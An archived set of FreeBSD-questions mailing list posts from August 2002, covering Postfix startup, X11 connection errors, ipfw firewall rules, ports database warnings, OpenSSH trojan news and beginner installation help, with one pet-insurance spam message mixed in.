For the past year I've been fortunate enough to work in an
environment where I could run FreeBSD 90% of the time...no
longer! In light of an impending exchange implementation,
I'm trying to work out how I can stay Free. 

Thus, the question: has anyone used FreeBSD, Ximian
Evolution, and MS Exchange? Purchase of the Connector is a
must, I understand, but not supported under FreeBSD (Linux
emulation???).

Any info or other ideas are much appreciated. 

--Tim

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Fri Aug  2 11:23:38 2002
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X-Loop: FreeBSD.ORG

On Fri, Aug 02, 2002 at 09:10:58PM +0300, Toomas Aas wrote:
> From: "Toomas Aas" <toomas.aas@raad.tartu.ee>
> To: freebsd-questions@freebsd.org
> Date: Fri, 2 Aug 2002 21:10:58 +0300
> Subject: Starting postfix on 4.6
> 
> Hello!
> 
> The new Sendmail startup mechanism on 4.6 requires that people using 
> MTAs other than Sendmail specify the startup script with 
> mta_start_script variable in rc.conf. I'm using an old(ish) version 
> of Postfix, installed from ports in July 2001 and I can't figure out 
> what the value of mta_start_script should be. As a wild guess, I 
> tried "/usr/local/sbin/postfix" and "/usr/local/sbin/postfix start", 
> but it didn't work (error messages on bootup scroll off the screen so 
> fast I can't read them and they don't seem to get logged anywhere).
> 
> As a workaround, I created an /usr/local/etc/rc.d/postfix.sh script 
> which works OK, but it seems kind of inelegant.

You should read /usr/ports/mail/postfix/pkg-message.  This file is
displayed if you install or upgrade a more recent version of Postfix. Be
sure to cvsup your ports tree if you haven't in a long time or that file
may not exist.

One caveat with the procedure mentioned in there, however, is that if
you compile Postfix with MySQL support, you cannot load the resulting
Postfix the way those instructions suggest.  The issue is that the MySQL
library path isn't merged in until the scripts in /usr/local/etc/rc.d
are loaded.  In that case you can either write your own rc.postfix
script that handles this case or just do:

ln -s /usr/local/sbin/postfix /etc/postfix.sh

    -Scott


-- 
Scott Lampert
<scott@lampert.org>
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, 1759

Public Key: http://www.lampert.org/lampert.key

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From owner-freebsd-questions  Fri Aug  2 11:30:34 2002
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From: Scott Lampert <scott@lampert.org>
To: freebsd-questions@freebsd.org
Cc: Toomas Aas <toomas.aas@raad.tartu.ee>
Subject: Re: Starting postfix on 4.6
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On Fri, Aug 02, 2002 at 11:23:27AM -0700, Scott Lampert wrote:
> One caveat with the procedure mentioned in there, however, is that if
> you compile Postfix with MySQL support, you cannot load the resulting
> Postfix the way those instructions suggest.  The issue is that the MySQL
> library path isn't merged in until the scripts in /usr/local/etc/rc.d
> are loaded.  In that case you can either write your own rc.postfix
> script that handles this case or just do:
> 
> ln -s /usr/local/sbin/postfix /etc/postfix.sh
> 
>     -Scott

    I hate replying to myself.. That should be:

ln -s /usr/local/sbin/postfix /usr/local/etc/rc.d/postfix.sh


-- 
Scott Lampert
<scott@lampert.org>
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, 1759

Public Key: http://www.lampert.org/lampert.key

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From owner-freebsd-questions  Fri Aug  2 11:42:24 2002
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Date: Fri, 02 Aug 2002 20:43:18 +0200
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Fernando Costa de Almeida wrote:
> 
>     I know that this question is more related to perl than FreeBSD, but....
>     Anyone knowns how can I count the number of bytes in STDIN in perl...
> 
>     Like:
> 
>     cat /kernel | ./checksize.pl
> 
>     and the script says:
> 
>     File has 50000 bytes..
> 
>     Thanks in advance...
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

Example 1:

#!/usr/bin/perl

@lines = <>;
print "File has 50000 bytes..\n";

Example 2:
#!/usr/bin/perl

$count = 0;
@lines = <>;
foreach(@lines) {
  $count += length( $_ );
}

print "count: $count\n";

bash-2.05a$ ./test1.pl </kernel
count: 1921983
bash-2.05a$ ls -l /kernel
-r-xr-xr-x  1 root  wheel  1921983 May  7 23:50 /kernel

Hope this helps,
Jens
-- 
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From owner-freebsd-questions  Fri Aug  2 11:49:54 2002
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From: Kenneth Culver <culverk@yumyumyum.org>
To: Jennie Corriveau <jcorriveau@ec.rr.com>
Cc: freebsd-questions@freebsd.org
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ugh, you're running that portsdb and pkgdb... well I don't think those
would be your problem, but when not used right they cause all kinds of
problems.

Ken

On Fri, 2 Aug 2002, Jennie Corriveau wrote:

> Yep, just did a fresh cvsup of ports, ran portsdb -Uu, pkgdb -F , and still
> getting the error. I did a cvsup of RELENG_4 two days ago and did a make
> world, kernel build with no errors.  * shrug *
>
> Jennie
>
> pthreads are part of the base system, they're just not in -lpthread,
> they're in -lc_r
>
> Are you sure you're using the ports tree and you havn't modified it at
> all?
>
>
>
>


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From owner-freebsd-questions  Fri Aug  2 11:55: 7 2002
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Dear Mr. Questions: 
   Well, I have waited a day and no one on either news group 
(maybe I should not have mentioned the crosspost :-).  I hope 
someone can dredge up some kind of answer for this, at least 
some place to look!  Is the default security now set so tight 
the X11 transport cannot get through?  If so, how do I change 
it?  I get the _X11Trans... message six times - are there six 
transport types it is trying?  Where is that set?  
   Just as an afterthought, not related to the X transport, 
issue, my installation from the FreeBSD Mall diskset did not 
put anything in /usr/lib/compat except the aout subdirectory - 
I had to steal the shareables from and adjacent 4.2 machine 
and the bootconfig from the installation does not write a 
/boot/kernel.conf file when I say [S]ave. 
   Thanks, 
    \DaveW

  I have just installed FreeBSD 4.6 (up from 4.2).  My scripts 
which used to reliably produce an xterm on this machine from 
various other *nix hosts (FreeBSD, Solaris, IRIX, Linux) now get 

_X11TransSocketINETConnect: Can't connect: errno = 61

even though I have run the xhost command for each of these remote 
stations on my 4.6 box.  

   I have scanned the FreeBSD release notes for 4.3 - 4.6 and there 
is no mention of a change in X-connection security policy, defaults, 
...  

   My real problem is that I am having the dickens of a time 
finding what configuration item(s) (besides xhost itself) control 
this service and what has turned it off.  The stations are 
connected only by Ethernet LAN, so TCP (or UDP) would be the 
transport mechanism, and the X11 entry is in /etc/services, 
but where is the block coming from? 
   Sorry about the cross-posting, but I my wits are worn out 
on this one, and I cannot seem to get a handle on it through 
man pages, install docs or anywhere else. 
   Thanks in advance, 
    \DaveW
-- 
       Dave Woodruff - System Admn - RadOnc Computer Support 
      Vox: 415/353-9818  Fax: 415/353-9883  Pgr: 415/719-2896
--- University of California, San Francisco, Radiation Oncology ---
   1600 Divisadero - Suite H-1031, San Francisco, CA  94143-1708

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From owner-freebsd-questions  Fri Aug  2 12: 0:56 2002
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To: freebsd-questions@freebsd.org
Subject: About FreeBSD 5.0-DP2
Message-Id: <20020802190100.00F1910133@tarakan-network.com>
Date: Fri,  2 Aug 2002 21:01:00 +0200 (CEST)
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Hello,

Anyone could tell me where I can find FreeBSD 5.0 CURRENT DP2 ISO please ?

Regards.

--
Chojin

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From owner-freebsd-questions  Fri Aug  2 12: 1:44 2002
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Hello,

Anyone could tell me where I can find FreeBSD 5.0 CURRENT DP2 ISO please ?

Regards.

--
Chojin

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From owner-freebsd-questions  Fri Aug  2 12:22:11 2002
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From: Simon Siemonsma <simon.freebsd@hccnet.nl>
To: freebsd-questions@freebsd.org
Subject: What are profiled libraries?
Date: Fri, 2 Aug 2002 21:22:07 +0200
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I'm trying to optimise my system.
Now, I did read some that I should set NOPROFILE=true in my /etc/make.conf 
file. This should avoid compiling profiles libraries.
As l like to understand what I'm doing to my system, a few questions:

What are profiled libraries?
What is there use?

Simon Siemonsma

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From owner-freebsd-questions  Fri Aug  2 12:25: 5 2002
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From: Orion Hodson <orion@freebsd.org>
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--- Repeated posting disclaimer -----------------------------------------------
This message has already been posted on -hardware and -multimedia, but nobody 
has stepped forth, this is a final to attempt to elicit a response.
-------------------------------------------------------------------------------

Randy Bush and I are trying to understand a problem with his Intel D850EMV2L 
motherboard.  Audio on the motherboard should be supported by the ich audio 
driver (Intel 82801BA - ICH2), but does not work on Randy's box.  The issue 
reported is consistent with a mixer problem, ie card probes, attachs, plays 
sound, but no audio is heard.  There are plenty of other boxes with the same 
Intel 82801BA chipset with working audio.

If you own an Intel D850EMV2L we'd be interested in knowing if sound 
works for you running *any* recent FreeBSD version.

Thanks
- Orion





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From owner-freebsd-questions  Fri Aug  2 12:35:14 2002
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From: parv <parv_fm@nospammail.net>
To: Roger Merritt <mcrogerm@stjohn.ac.th>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Error messages from portsdb -Uu
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References: <3.0.6.32.20020802145055.008044b0@stjohn.stjohn.ac.th> <3.0.6.32.20020802145055.008044b0@stjohn.stjohn.ac.th> <3.0.6.32.20020802155314.00810200@stjohn.stjohn.ac.th>
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in message <3.0.6.32.20020802155314.00810200@stjohn.stjohn.ac.th>,
wrote Roger Merritt thusly...
>
> At 08:11 PM 8/2/02 +1200, you wrote:
> >On Fri, Aug 02, 2002 at 02:50:55PM +0700, Roger Merritt wrote:
> >
> >[...]
> >> mpt-0.0:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
> >> mq3-8_1:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
> >> etc.
> >> 
> >> I cvsup the ports regularly, by the way, so I would think my ports tree is
> >> complete. What do these error messages mean, and is there anything I can do
> >> to stop them?
> >
> >Just means that the INDEX file hasn't been update properly. Don't
> >worry about it. It doesn't affect your ports.

as i understand it, some directories are physically missing or
"SUBDIR" (in some make file) has non-existent directory(ies).

this message comes up for me due to directories missing for most of
kde, gnome, & emacs ports as i have them listed in cvsup refuse
file & removed from ports tree.

i haven't seen/experienced INDEX so broken to be useless (since
portsdb -u works after "make index"); it's just that some of the
ports will not build due to missing dependencies ...  which is
deliberate.


> Isn't there some way to stop them?

you could redirect (code shown for sh-like shells) the errors to
/dev/null or a file...

  cd /usr/ports  &&  make index > .errors 2>&1  &&  portsdb -u

...but then you may miss more crucial error messages (different than
above) which actually fubar INDEX & can hamper niceties like
"make search" & usage of portsupgrade itself.


> I've seen lots of people praising portupgrade to the skies. Do
> they all have to put up with this garbage spewing across their
> screen when they do this?

problem is not w/ portsupgrade; see above.


  - parv

-- 
 

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Email
      This offer is brought to you by the American Pet Plan.com.  If you =
no longer wish to receive offers in the future, please unsubscribe =
below.  If you cannot view this email, please click here: =
www.americanpetplan.com =20

    =20
      1992   Celebrating 10 years of Excellence!   2002
      =20
    =20
      The American Pet Plan can save you hundreds or even thousands of =
dollars per year on all your veterinary health care costs!
      All at very affordable rates!! =20
    =20
      Veterinarian Recommended!

      Benefits Include:=20

            $5.00 Doctor Visits!=20
            $10.00 Comprehensive Medical Exams!=20
            Lowest Cost In-Office Vaccinations!=20
            Benefits on All other Veterinary Care & Rx's!=20
            Benefits on Grooming & Boarding!=20
            Benefits on Pet Sitting & Dog Training!=20
            Immediate Benefits on Pre-existing Conditions!=20
            All Animals Accepted!=20
            No Age Limits!=20
            Extremely Affordable!=20
            And So Much More!=20

      VISIT US NOW AT WWW.AMERICANPETPLAN.COM !
    =20

-------------------------------------------------------------------------=
-
    =20
      This message is never sent unsolicited.  You are receiving this =
message as a member of the American Pet Plan.com or one of our =
advertising affiliates.  If you do not want to receive special offers in =
the future, please click here: app-request@americanpetplan.com and type =
in UNSUBSCRIBE in the subject line.  You will be immediately removed.
    =20


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Email</TITLE><BASE=20
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<META http-equiv=3DContent-Language content=3Den-us>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff leftMargin=3D0 topMargin=3D0>
<DIV>&nbsp;</DIV><!--webbot bot=3D"HTMLMarkup" startspan --><!--webbot =
bot=3D"HTMLMarkup" endspan -->
<DIV align=3Dcenter>
<CENTER>
<TABLE style=3D"BORDER-COLLAPSE: collapse" borderColor=3D#111111 =
height=3D244=20
cellSpacing=3D0 cellPadding=3D0 width=3D550 border=3D0>
  <TBODY>
  <TR>
    <TD width=3D"100%" height=3D1><FONT face=3DArial size=3D1>This offer =
is brought to=20
      you by the American Pet Plan.com.&nbsp; If you no longer wish to =
receive=20
      offers in the future, please unsubscribe below.&nbsp; If you =
cannot view=20
      this email, please click here: <A=20
      =
href=3D"http://www.americanpetplan.com">www.americanpetplan.com</A>=20
    </FONT></TD></TR>
  <TR>
    <TD width=3D"100%" height=3D96>
      <P align=3Dcenter><IMG height=3D96 src=3D"images/index_header.jpg" =
width=3D521=20
      border=3D0></P></TD></TR>
  <TR>
    <TD width=3D"100%" height=3D40>
      <P align=3Dcenter><B><SPAN lang=3Den-us><I><FONT color=3D#d00000=20
      size=3D4>1992&nbsp;&nbsp; Celebrating 10 years of =
Excellence!&nbsp;&nbsp;=20
      2002<BR>&nbsp;</FONT></I></SPAN></B></P></TD></TR>
  <TR>
    <TD width=3D"100%" bgColor=3D#000080 height=3D57>
      <P align=3Dcenter><FONT face=3DArial color=3D#ffffff>The American =
Pet Plan can=20
      save you <B>hundreds or even thousands of dollars per =
year</B>&nbsp;on all=20
      your <SPAN lang=3Den-us>veterinary </SPAN>health care <SPAN=20
      lang=3Den-us>cost</SPAN>s!<BR></FONT><FONT face=3DArial =
color=3D#00ff00><B><SPAN=20
      lang=3Den-us>All at very affordable rates!!</SPAN>&nbsp;=20
  </B></FONT></P></TD></TR>
  <TR>
    <TD width=3D"100%" height=3D111>
      <P align=3Dcenter><B><FONT face=3DArial color=3D#d00000 =
size=3D3>Veterinarian=20
      Recommended!</FONT></B><FONT face=3DArial =
color=3D#000080><B><BR><BR>Benefits=20
      Include:</B></FONT>=20
      <DIV align=3Dcenter>
      <CENTER>
      <TABLE style=3D"BORDER-COLLAPSE: collapse" borderColor=3D#111111 =
height=3D132=20
      cellSpacing=3D0 cellPadding=3D0 width=3D350 border=3D0>
        <TBODY>
        <TR>
          <TD width=3D"100%" bgColor=3D#efefef height=3D2><B><FONT =
face=3DArial=20
            color=3D#000080 size=3D2>$5.00 Doctor =
Visits!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" height=3D19><B><FONT face=3DArial =
color=3D#000080=20
            size=3D2>$10.00 Comprehensive Medical =
Exams!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" bgColor=3D#efefef height=3D19><B><FONT =
face=3DArial=20
            color=3D#000080 size=3D2>Lowest Cost In-Office=20
          Vaccinations!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" height=3D19><B><FONT face=3DArial =
color=3D#000080=20
            size=3D2>Benefits on All other Veterinary Care &amp;=20
          Rx's!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" bgColor=3D#efefef height=3D19><B><FONT =
face=3DArial=20
            color=3D#000080 size=3D2>Benefits on Grooming &amp;=20
          Boarding!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" height=3D19><B><FONT face=3DArial =
color=3D#000080=20
            size=3D2>Benefits on Pet Sitting &amp; Dog =
Training!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" bgColor=3D#efefef height=3D19><B><FONT =
face=3DArial=20
            color=3D#000080 size=3D2>Immediate Benefits on Pre-existing=20
            Conditions!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" height=3D16><B><FONT face=3DArial =
color=3D#000080=20
            size=3D2>All Animals Accepted!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" bgColor=3D#efefef height=3D16><B><FONT =
face=3DArial=20
            color=3D#000080 size=3D2>No Age Limits!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" height=3D16><B><FONT face=3DArial =
color=3D#000080=20
            size=3D2>Extremely Affordable!</FONT></B></TD></TR>
        <TR>
          <TD width=3D"100%" bgColor=3D#efefef height=3D16><B><FONT =
face=3DArial=20
            color=3D#000080 size=3D2>And So Much=20
      More!</FONT></B></TD></TR></TBODY></TABLE></CENTER></DIV>
      <P align=3Dcenter><B><FONT face=3DArial color=3D#d00000>VISIT US =
NOW=20
      AT</FONT><FONT face=3DArial color=3D#000080> <A=20
      =
href=3D"http://WWW.AMERICANPETPLAN.COM">WWW.AMERICANPETPLAN.COM</A>=20
      </FONT><FONT face=3DArial =
color=3D#d00000>!</FONT></B></P></TD></TR>
  <TR>
    <TD width=3D"100%" height=3D1>
      <HR color=3D#000000 SIZE=3D1>
    </TD></TR>
  <TR>
    <TD width=3D"100%" height=3D30>
      <P><FONT face=3DArial size=3D1>This message is never sent =
unsolicited.&nbsp;=20
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From owner-freebsd-questions  Fri Aug  2 13: 5: 5 2002
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Date: Fri, 2 Aug 2002 13:05:02 -0700 (PDT)
From: Peter Andrews <subnero2001@yahoo.com>
Subject: Adding Firewall Rules
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Hi,
 
Stupid question from a newbie, I have eventually
figured out adding firewalls and Nat and dummynet etc
but...
 
I need to know how a can add all this rules so that
they are enforced at startup. I would like to have the
allow and deny rules set and the pipes setup at start
up.
 
Any help appreciated.
 
Thanks in advance
 
Mike

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From owner-freebsd-questions  Fri Aug  2 13: 9:39 2002
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Date: Fri, 02 Aug 2002 16:08:21 -0400
From: "Philip M. Gollucci" <philip@p6m7g8.com>
Subject: FreeBSD and XFree86
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I'got a 192.168.1.* network setup and running with a Linksys DSL/Router.

Computer 129 is my personal workstation running FBSD 4.6-RELEASE-p2
FreeBSD p6m7g8 4.6-RELEASE-p2 FreeBSD 4.6-RELEASE-p2 #0: Sun Jul 14 
15:34:39 GMT 2002   philip@p6m7g8:/usr/obj/usr/src/sys/PHILIP  i386

Computer 2 is a webserver running FBSD 4.5-RELEASE
FreeBSD web 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Sun Jun 23 18:45:25 EST 
2002     philip@web.p6m7g8.com:/usr/src/sys/compile/PHILIP  i386

Both have XFree86 installed
   (2) 3.8.6
   (129) 4.2.1

workstation% xhost +192.168.1.2
webserver% setenv DISPLAY 192.168.1.129:0.0 ( w/ssh I shouldn't have to)
webserver% xemacs
_X11TransSocketINETConnect: Can't connect: errno = 61
_X11TransSocketINETConnect: Can't connect: errno = 61
.....

I've read that this means it can't write to my /tmp/.X11-unix directory 
for local socket access.

[ttyp0] philip@192.168.1.129 /tmp rv=0 8 >ls -ld .X11-unix/
drwxrwxrwt  2 root  wheel  - 512 Aug  2 15:29:03 2002 .X11-unix/

[ttyp0] philip@192.168.1.2 /tmp rv=0 23 >ls -ld .X11-unix/
drwxrwxrwt  2 root  wheel  - 512 May 16 23:41:08 2002 .X11-unix/

As far as I know these are correct, and I've tried chmod -R 777 * on 
both of them.






END
------------------------------------------------------------------------------ 

Philip M. Gollucci philip@p6m7g8.com 301.474.9294 301.646.3011 (cell)

Science, Discovery, & the Universe (UMCP)
Webmaster & Webship Teacher
URL: http://www.sdu.umd.edu

eJournalPress
Database/PERL Programmer & System Admin
URL : http://www.ejournalpress.com

Resume : http://p6m7g8.net/Resume



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From owner-freebsd-questions  Fri Aug  2 13:11:25 2002
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	Fri, 2 Aug 2002 23:09:19 GMT
Date: Fri, 2 Aug 2002 23:09:19 +0000
From: "D. Penev" <dpenev@mail.bg>
To: Matt Abraham <mailing@novaconnect.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Unable to get "ipfw fwd" working
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On Wed, Jul 31, 2002 at 05:28:40PM -0400, Matt Abraham wrote:
>From: "Matt Abraham" <mailing@novaconnect.net>
>Subject: Unable to get "ipfw fwd" working
>To: freebsd-questions@freebsd.org
>Date: Wed, 31 Jul 2002 17:28:40 -0400
>
>Hi all,
>
>I am running into a problem using ipfw to do source-based
>routing. 
>
>I am trying to forward traffic from a private IP address
>(172.17.1.5) to a gateway (192.168.215.15) via ANOTHER
>gateway running Freebsd/ipfw (rl0:192.168.200.240 and
>vr0:192.168.215.240). Now, this packet has already gone
>through a Cisco router with policy-based routing in place,
>so no NAT'ing is done to the packet -- static routes are in
>place on the Freebsd box to send the response back via the
>Cisco router.
>
>So! On the Freebsd box, I've got the following ipfw rule in
>place:
>
>650 fwd 192.168.215.15 ip from 172.17.1.5 to any in recv rl0
>
>When I try to ping a public address, say A.B.C.D, on the
>other side of 192.168.215.15 (it's got a public address on
>its outside interface), I receive "Destination Host
>Unreachable," i.e. ICMP 3.1 packets coming from
>192.168.200.240. Now, if I add a static route:
>
>route add -host A.B.C.D 192.168.215.15
>
>...it works, but this sort of defeats the purpose of
>source-based routing :) Clearly, I'm doing something wrong.
>Any ideas??

# man ipfw
[snip]
fwd ipaddr[,port]
                     Change the next-hop on matching packets to ipaddr, which
                     can be an IP address in dotted quad or a host name.  If
                     ipaddr is not a directly-reachable address, the route as
                     found in the local routing table for that IP is used
                     instead.
[snip]

>
>Matt
>mailing@novaconnect.net
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message

-- 
Regards,
D. Penev

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From owner-freebsd-questions  Fri Aug  2 13:20:18 2002
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Subject: odbc problem
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I just installed libiodbc and myodbc from the ports and they both installed
with one error:

Warning: Using iODBC but libiodbcinst library not found. enabling
workaround which will
search for mysql datasource configuration as follows:
1. $ODBCINI, and if not found - $HOME/.odbc.ini (user data sources)
2. /usr/local/etc/libiodbc/odbc.ini (system data sources)
If you want to change (2), re-run configure using the
--with-odbc-ini=/pathto/odbc.ini option.

The directory /usr/local/etc/libodbc contains just two sample files. There
is no .odbc.ini
file in any home directory.

I was looking at the odbc info on the iodbc web site and on the mysql web
site but don't
know what the next step is to make this work. Installing myodbc on the NT
box that I will
need to connect to was a piece of cake.

Any suggestions or links to how-to's or tutorials?
Thanks,

--
Chip Wiegand
Computer Services
Simrad, Inc
www.simradusa.com
chip.wiegand@simrad.com

"There is no reason anyone would want a computer in their home."
     --Ken Olson, president, chairman and founder of Digital Equipment
Corporation, 1977
 (They why do I have 9? Somebody help me!)


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From owner-freebsd-questions  Fri Aug  2 13:21:51 2002
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Date: Fri, 2 Aug 2002 21:21:40 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: ssh version after cvsup
Message-ID: <20020802202140.GA54353@happy-idiot-talk.infracaninophi>
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On Fri, Aug 02, 2002 at 04:32:08PM +0200, Hanspeter Roth wrote:
>   On Aug 02 at 07:44, Matthew Seaman spoke:
> 
> > On Thu, Aug 01, 2002 at 11:35:16PM +0200, Hanspeter Roth wrote:
> > 
> > > which ssh version will I get after cvsuping to RELENG_4_6?
> > 
> > OpenSSH 3.4p1
> > 
> > http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/version.h?rev=1.1.1.1.2.8.2.1&content-type=text/x-cvsweb-markup&only_with_tag=RELENG_4_6
> 
> Ok. Thank you.
> Is there a means to ensure it has not been trojaned?

By installing via 'make buildworld' of the FreeBSD sources?  The
trojan consisted of an extra file and some modifications to the
OpenSSH Makefile --- neither of which were checked into the FreeBSD
CVS repository.

Even if you're installing from ports, so long as you don't override
the checksum tests, you'll be OK.  I believe it was because of the
ports that the trojan was discovered.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Fri Aug  2 13:23:39 2002
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Date: Fri, 2 Aug 2002 23:21:48 +0000
From: "D. Penev" <dpenev@mail.bg>
To: Peter Andrews <subnero2001@yahoo.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Adding Firewall Rules
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On Fri, Aug 02, 2002 at 01:05:02PM -0700, Peter Andrews wrote:
>Date: Fri, 2 Aug 2002 13:05:02 -0700 (PDT)
>From: Peter Andrews <subnero2001@yahoo.com>
>Subject: Adding Firewall Rules
>To: freebsd-questions@FreeBSD.ORG
>
>Hi,
> 
>Stupid question from a newbie, I have eventually
>figured out adding firewalls and Nat and dummynet etc
>but...
> 
>I need to know how a can add all this rules so that
>they are enforced at startup. I would like to have the
>allow and deny rules set and the pipes setup at start
>up.

In /etc/rc.conf:
firewall_enable="YES"
firewall_script="/path/to/you/script"

> 
>Any help appreciated.
> 
>Thanks in advance
> 
>Mike
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Health - Feel better, live better
>http://health.yahoo.com
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message

-- 
Regards,
D. Penev

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From owner-freebsd-questions  Fri Aug  2 13:33:28 2002
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Date: Fri, 2 Aug 2002 21:33:17 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Oscar Ricardo Silva <oscars@mail.utexas.edu>
Cc: questions@FreeBSD.ORG
Subject: Re: openssl vulnerability, openssh trojan - will patches be incorporated in 4.6.1
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On Fri, Aug 02, 2002 at 11:37:46AM -0500, Oscar Ricardo Silva wrote:
 
> At the risk of advocating feature creep ... what about the recent openssl 
> vulnerability?  I know 4.6.1 hasn't been released yet (RC2 last I looked), 
> but might it be worthwhile to include latest openssl patches in 4.6.1?  Or 
> will there be a 4.6.2 (or some other number)?

4.6.1 has been cancelled in favour of 4.6.2:

http://www.freebsd.org/cgi/getmsg.cgi?fetch=422979+0+current/freebsd-stable

Partly because it was taking so long to get 4.6.1 out of the door, and
partly because of some recently discovered problems, including the
openssl hole.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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Tim Erlin wrote:
> Any info or other ideas are much appreciated. 

Stay on FreeBSD, install rdesktop port, and connect to some other 
Windows machine (running terminal services) that runs outlook for 
talking to your exchange server.

--
Michael Pye


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From: "Patricia Earlene Record" <recorde@kirtland.cc.mi.us>
To: <freebsd-questions@FreeBSD.ORG>
Subject: os
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I was wondering. I am a single mother of three trying to find a new =
operating system for my laptop to free up my computer for my children. =
However, i am unable to purchase operating software because it is just =
to expensive and i cant afford to. I was reading your web site and was =
wondering if you had a free version of this on 3.5 floppy disks. My =
laptop only has floppy. if you could help please let me know. Thanks =
Earlene

------=_NextPart_000_0012_01C23A43.15B37EE0
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<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4728.2300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I was wondering. I am a single mother =
of three=20
trying to find a new operating system for my laptop to free up my =
computer for=20
my children. However, i am unable to purchase operating software because =
it is=20
just to expensive and i cant afford to. I was reading your web site and =
was=20
wondering if you had a free version of this on 3.5 floppy disks. My =
laptop only=20
has floppy. if you could help please let me know. Thanks=20
Earlene</FONT></DIV></BODY></HTML>

------=_NextPart_000_0012_01C23A43.15B37EE0--



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From owner-freebsd-questions  Fri Aug  2 13:52: 5 2002
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From: "Lee" <lee@unassemble.co.uk>
To: "Patricia Earlene Record" <recorde@kirtland.cc.mi.us>,
	<freebsd-questions@FreeBSD.ORG>
References: <001501c23a7d$c4331400$38976fc6@momsputer>
Subject: Re: os
Date: Fri, 2 Aug 2002 21:57:10 +0100
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Hi Earlene,

If you have a fast Internet connection (DSL/Cable) you can create a boot =
floppy to start the installation and then download the rest of the files =
directly from the FreeBSD servers via FTP. Have a look at the link =
below:

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install-pre.htm=
l#INSTALL-FLOPPIES

It is from the FreeBSD handbook.  It would probably be a good idea for =
you to read though most of the manual to find out if FreeBSD is really =
what you are looking for.

Cheers

Lee
  ----- Original Message -----=20
  From: Patricia Earlene Record=20
  To: freebsd-questions@FreeBSD.ORG=20
  Sent: Saturday, August 03, 2002 12:38 AM
  Subject: os


  I was wondering. I am a single mother of three trying to find a new =
operating system for my laptop to free up my computer for my children. =
However, i am unable to purchase operating software because it is just =
to expensive and i cant afford to. I was reading your web site and was =
wondering if you had a free version of this on 3.5 floppy disks. My =
laptop only has floppy. if you could help please let me know. Thanks =
Earlene

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Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Earlene,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>If you have a fast Internet connection =
(DSL/Cable)=20
you can create a boot floppy to start the installation and then download =
the=20
rest of the files directly from the FreeBSD servers via FTP. Have a look =
at the=20
link below:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install=
-pre.html#INSTALL-FLOPPIES">http://www.freebsd.org/doc/en_US.ISO8859-1/bo=
oks/handbook/install-pre.html#INSTALL-FLOPPIES</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>It is from the FreeBSD handbook.&nbsp; =
It would=20
probably be a good idea for you to read though most of the manual to =
find out if=20
FreeBSD is really what you are looking for.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cheers</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lee</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
